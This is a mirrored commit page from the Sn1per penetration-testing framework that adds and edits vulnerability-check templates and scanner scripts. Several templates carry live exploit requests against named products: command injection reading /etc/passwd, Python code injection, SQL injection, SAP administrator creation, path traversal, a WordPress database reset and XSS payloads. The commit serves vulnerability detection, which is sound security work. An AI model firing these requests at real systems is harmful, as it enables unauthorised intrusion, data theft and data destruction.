RomanNum3ral
/
Sn1per
mirror of https://github.com/1N3/Sn1per.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

* v8.7 - Updated web file bruteforce lists 

* v8.7 - Added updated Slack API integration/notifications
* v8.7 - Added Arachni, Nikto, Nessus, NMap + 20 passive sc0pe vulnerability parsers
This commit is contained in:
@xer0dayz 2020-09-14 08:25:38 -07:00 committed by xer0dayz
parent 7adb5b3998
commit 1a96b105db
70 changed files with 396 additions and 125 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
CHANGELOG.md
View File

@ -1,6 +1,11 @@
## CHANGELOG:
* v8.7 - Updated web file bruteforce lists
* v8.7 - Added updated Slack API integration/notifications
* v8.7 - Added Arachni, Nikto, Nessus, NMap + 20 passive sc0pe vulnerability parsers
* v8.7 - Added Revive Adserver XSS sc0pe template
* v8.7 - Added IceWarp Webmail XSS sc0pe template
* v8.7 - Added Mara CMS v7.5 XSS sc0pe template
* v8.7 - Added Administrative Privilege Escalation in SAP NetWeaver
* v8.7 - Added Magento 2.3.0 SQL Injection sc0pe template
* v8.7 - Added CVE-2020-15920 - Unauthenticated RCE at Mida eFramework sc0pe template
* v8.7 - Added CVE-2019-7192 - QNAP Pre-Auth Root RCE sc0pe template

17
modes/sc0pe-active-scan.sh
View File

@ -1,17 +0,0 @@
for file in `ls $INSTALL_DIR/templates/active/*.sh 2> /dev/null`; do
source $file
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
#echo $file
if [[ "$SSL" == "true" ]]; then
if [[ -z "$PORT" ]]; then
PORT="443"
fi
curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "https://$TARGET:$PORT/$URI" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
else
if [[ -z "$PORT" ]]; then
PORT="80"
fi
curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "http://$TARGET:$PORT/$URI" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
fi
rm -f /tmp/match.out 2> /dev/null
done

33
modes/sc0pe-passive-scan.sh
View File

@ -1,33 +0,0 @@
for file in `ls $INSTALL_DIR/templates/passive/*.sh 2> /dev/null`; do
#echo $file
source $file
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
if [[ "$SEARCH" == "negative" ]]; then
if [[ "$SSL" == "true" ]]; then
if [[ -z "$PORT" ]]; then
PORT="443"
fi
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
else
if [[ -z "$PORT" ]]; then
PORT="80"
fi
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
fi
else
#echo $file
if [[ "$SSL" == "true" ]]; then
if [[ -z "$PORT" ]]; then
PORT="443"
fi
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
else
if [[ -z "$PORT" ]]; then
PORT="80"
fi
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
fi
fi
rm -f /tmp/match.out 2> /dev/null
done

9
templates/active/AWS_S3_Public_Bucket_Listing.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='AWS S3 Public Bucket Listing'
URI=''
METHOD='GET'
MATCH="listbucket"
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2019-16662_-_rConfig_3.9.2_Remote_Code_Execution.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution'
URI='/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23'
METHOD='GET'
MATCH='root\:'
SEVERITY='P1 - CRITICAL'
CURL_OPTS='--user-agent "" -s -L --insecure'
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

4
templates/active/CVE-2019-19908_-_phpMyChat-Plus_XSS.sh
View File

@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2019-19908 - phpMyChat-Plus XSS'
URI="/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
URI="/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E"
METHOD='GET'
MATCH="<svg/onload=alert\(1337\)>"
MATCH="<script>alert\(1337\)<\/script>"
SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

9
templates/active/CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2019-7192 - QNAP Pre-Auth Root RCE'
URI='/photo/p/api/video.php'
METHOD='GET'
MATCH='401\ Unauthorized'
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-10204_-_Sonatype_Nexus_Repository_RCE.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-10204 - Sonatype Nexus Repository RCE'
URI="/extdirect"
METHOD='POST'
MATCH="1787569"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s --insecure -L --data \"{\"action\":\"coreui_User\",\"method\":\"update\",\"data\":[{\"userId\":\"anonymous\",\"version\":\"1\",\"firstName\:\"Anonymous\",\"lastName\":\"User2\",\"email\":\"anonymous@example.org\",\"status\":\"active\",\"roles\":[\"$\\c{1337*1337\"]}],\"type\":\"rpc\",\"tid\":28}'\"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_1.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection 1'
URI="/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
METHOD='GET'
MATCH="nonexistent"
SEVERITY='P1 - CRITICAL'
CURL_OPTS=' --user-agent '' -s -L --insecure'
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-13167_-_Netsweeper_WebAdmin_Python_Code_Injection_2.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection 2'
URI="/webadmin/out"
METHOD='GET'
MATCH="nonexistent"
SEVERITY='P1 - CRITICAL'
CURL_OPTS=' --user-agent '' -s -L --insecure'
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-15920_-_Mida_eFramework_Unauthenticated_RCE.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-15920 - Mida eFramework Unauthenticated RCE'
URI='/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING'
METHOD='GET'
MATCH='root\:'
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

4
templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_1.sh
View File

@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 1'
URI="/git/build_now/a'\"><svg/onload=alert(document.domain)>"
URI="/git/build_now/a'\"><INJECTX>"
METHOD='GET'
MATCH="Gitlab Web Hook"
MATCH="<INJECTX>"
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

4
templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_2.sh
View File

@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 2'
URI="/jenkins/git/build_now/a'\"><svg/onload=alert(document.domain)>"
URI="/jenkins/git/build_now/a'\"><INJECTX>"
METHOD='GET'
MATCH="Gitlab Web Hook"
MATCH="<INJECTX>"
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

4
templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_3.sh
View File

@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 3'
URI="/gitlab/build_now/a'\"><svg/onload=alert(document.domain)>"
URI="/gitlab/build_now/a'\"><INJECTX>"
METHOD='GET'
MATCH="Gitlab Web Hook"
MATCH="<INJECTX>"
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

4
templates/active/CVE-2020-2096_Jenkins_Gitlab_XSS_4.sh
View File

@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 4'
URI="/jenkins/gitlab/build_now/a'\"><svg/onload=alert(document.domain)>"
URI="/jenkins/gitlab/build_now/a'\"><INJECTX>"
METHOD='GET'
MATCH="Gitlab Web Hook"
MATCH="<INJECTX>"
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

9
templates/active/CVE-2020-2140_-_Jenkin_AuditTrailPlugin_XSS.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-2140 - Jenkin AuditTrailPlugin XSS'
URI="/descriptorByName/AuditTrailPlugin/regexCheck?value=*j<INJECTX>"
METHOD='GET'
MATCH="<INJECTX>"
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s --insecure -L "
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-24223_-_Mara_CMS_7.5_Reflective_XSS.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-24223 - Mara CMS 7.5 Reflective XSS'
URI='/contact.php?theme=<INJECTX>'
METHOD='GET'
MATCH='<INJECTX>'
SEVERITY='P3 - MEDIUM'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

2
templates/active/CVE-2020-3452_-_Cisco_ASA-FTD_Arbitrary_File_Reading_Vulnerability.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-3452 - Cisco ASA/FTD Arbitrary File Reading Vulnerability'
URI='/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'
METHOD='GET'
MATCH="INTERNAL_PASSWORD_ENABLED"
MATCH="INTERNAL_PASSWORD_ENABLED|CONF_VIRTUAL_KEYBOARD"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

4
templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
View File

@ -1,8 +1,8 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-5902 - F5 BIG-IP XSS'
URI='/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=INJECTX'
URI='/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=<INJECTX>'
METHOD='GET'
MATCH='INJECTX'
MATCH='<INJECTX>'
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''

9
templates/active/CVE-2020-6287_-_Create_an_Administrative_User_in_SAP_NetWeaver_AS_JAVA.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-6287 - Create an Administrative User in SAP NetWeaver AS JAVA'
URI="/CTCWebService/CTCWebServiceBean/ConfigServlet"
METHOD='POST'
MATCH="CTCWebServiceSi"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -L -s --insecure -H 'Content-Type: text/xml; charset=UTF-8' --data '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>'"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

2
templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset'
URI='/wp-admin/admin-post.php?db-reset-tables%5B%5D=comments&db-reset-code=11111&db-reset-code-confirm=11111'
METHOD='GET'
MATCH='\/wp-admin\/'
MATCH='X-Redirect-By\:\ WordPress'
SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure -I"
SECONDARY_COMMANDS=''

9
templates/active/CVE-2020-7209_-_LinuxKI_Toolset_6.01_Remote_Command_Execution.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-7209 - LinuxKI Toolset 6.01 Remote Command Execution'
URI="/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
METHOD='GET'
MATCH='nonexistent'
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

0
templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.disabled → templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.sh
View File

4
templates/active/CVE-2020-8191_-_Citrix_ADC_NetScaler_Gateway_Reflected_XSS.sh
View File

@ -2,8 +2,8 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8191 - Citrix ADC & NetScaler Gateway Reflected XSS'
URI="/menu/stapp"
METHOD='POST'
MATCH="<\/title><script>alert\(31337\)</script>"
MATCH="<INJECTX>"
SEVERITY='P1 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' -H 'X-Requested-With: 'X-NITRO-USER: xpyZxwy6' --data 'sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot'"
CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' -H 'X-Requested-With: 'X-NITRO-USER: xpyZxwy6' --data 'sid=254&pe=1,2,3,4,5&appname=%0a</title><INJECTX>&au=1&username=nsroot'"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/CVE-2020-8512_-_IceWarp_WebMail_XSS.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8512 - IceWarp WebMail XSS'
URI="/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22"
METHOD='GET'
MATCH="<svg\/onload\=alert\(document\.domain\)>"
SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

2
templates/active/CVE-2020-8982_-_Citrix_ShareFile_StorageZones_Unauthenticated_Arbitrary_File_Read.sh
View File

@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-8982 - Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read'
URI="/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"
METHOD='GET'
MATCH="bit\ app\ support|fonts|extensions"
MATCH="bit\ app\ support"
SEVERITY='P2 - HIGH'
CURL_OPTS="--user-agent '' -s --insecure "
SECONDARY_COMMANDS=''

9
templates/active/Magento_2.3.0_SQL_Injection.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Magento 2.3.0 SQL Injection'
URI="/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20-"
METHOD='GET'
MATCH="\[\]"
SEVERITY='P1 - Critical'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Robots.txt_Detected.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Robots.txt Detected'
URI='/robots.txt'
METHOD='GET'
MATCH='Disallow\:|Allow\:|Sitemap\:'
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

9
templates/active/Sitemap.xml_Detected.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Sitemap.xml Detected'
URI='/sitemap.xml'
METHOD='GET'
MATCH='<?xml\ '
SEVERITY='P5 - INFO'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'

8
templates/passive/Clear-text_Communications_HTTP.disabled
View File

@ -1,8 +0,0 @@
AUTHOR='@xer0dayz'
VULN_NAME='Clear-Text Protocol - HTTP'
FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
MATCH='200 OK'
SEVERITY='P2 - HIGH'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Component_With_Known_Vulnerabilities_1.sh
View File

@ -1,8 +0,0 @@
AUTHOR='@xer0dayz'
VULN_NAME='Component With Known Vulnerabilities'
FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt"
MATCH="CVE\-"
SEVERITY='P3 - MEDIUM'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Component_With_Known_Vulnerabilities_2.sh
View File

@ -1,8 +0,0 @@
AUTHOR='@xer0dayz'
VULN_NAME='Component With Known Vulnerabilities 2'
FILENAME="$LOOT_DIR/output/nmap-$TARGET-*.txt"
MATCH="CVE\-"
SEVERITY='P3 - MEDIUM'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Default_Credentials_1.sh
View File

@ -1,8 +0,0 @@
AUTHOR='@xer0dayz'
VULN_NAME='Default Credentials 1'
FILENAME="$LOOT_DIR/credentials/brutex-$TARGET.txt"
MATCH="password\:\ "
SEVERITY='P1 - CRITICAL'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Default_Credentials_2.sh
View File

@ -1,8 +0,0 @@
AUTHOR='@xer0dayz'
VULN_NAME='Default Credentials 2'
FILENAME="$LOOT_DIR/credentials/brutex-$TARGET-*.txt"
MATCH="password\:\ "
SEVERITY='P1 - CRITICAL'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''

8
templates/passive/Interesting_Ports_Found.sh
View File

@ -1,8 +0,0 @@
AUTHOR='@xer0dayz'
VULN_NAME='Interesting Ports Found'
FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
MATCH='80|443'
SEVERITY='P5 - INFO'
GREP_OPTIONS='-iv'
SEARCH='positive'
SECONDARY_COMMANDS=''

9
templates/passive/network/CVE-2018-15473_-_OpenSSH_Username_Enumeration.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='CVE-2018-15473 - OpenSSH Username Enumeration'
FILENAME="$LOOT_DIR/output/msf-$TARGET-*-ssh_enumusers.txt"
MATCH="\[+\]"
SEVERITY='P3 - MEDIUM'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
TYPE="network"

9
templates/passive/network/Default_Credentials_BruteX.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Default Credentials - BruteX'
FILENAME="$LOOT_DIR/credentials/brutex-$TARGET.txt $LOOT_DIR/credentials/brutex-$TARGET-*.txt"
MATCH="password\:\ "
SEVERITY='P1 - CRITICAL'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
TYPE="network"

9
templates/passive/network/Default_Credentials_NMap.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='Default Credentials - NMap'
FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt $LOOT_DIR/output/nmap-$TARGET-*.txt"
MATCH="Valid\ credentials"
SEVERITY='P1 - CRITICAL'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
TYPE="network"

3
templates/passive/Interesting_Domain_Found.sh → templates/passive/network/Interesting_Domain_Found.sh
View File

@ -5,4 +5,5 @@ MATCH='admin|dev|portal|stage|prod|tst|test'
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
SECONDARY_COMMANDS=''
TYPE='network'

3
templates/passive/Lack_of_SPF_DNS_Record.sh → templates/passive/network/Lack_of_SPF_DNS_Record.sh
View File

@ -5,4 +5,5 @@ MATCH="\[\+\]\ Spoofing\ possible"
SEVERITY='P4 - LOW'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
SECONDARY_COMMANDS=''
TYPE='network'

3
templates/passive/Possible_Takeover_Detected.sh → templates/passive/network/Possible_Takeover_Detected.sh
View File

@ -5,4 +5,5 @@ MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|fe
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
SECONDARY_COMMANDS=''
TYPE='network'

9
templates/passive/network/SMB_Info_Disclosure.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='SMB Info Disclosure'
FILENAME="$LOOT_DIR/output/msf-$TARGET-port139.txt $LOOT_DIR/output/msf-$TARGET-port445.txt"
MATCH="\[\+\]"
SEVERITY='P4 - LOW'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
TYPE="network"

3
templates/passive/SMBv1_Enabled.sh → templates/passive/network/SMBv1_Enabled.sh
View File

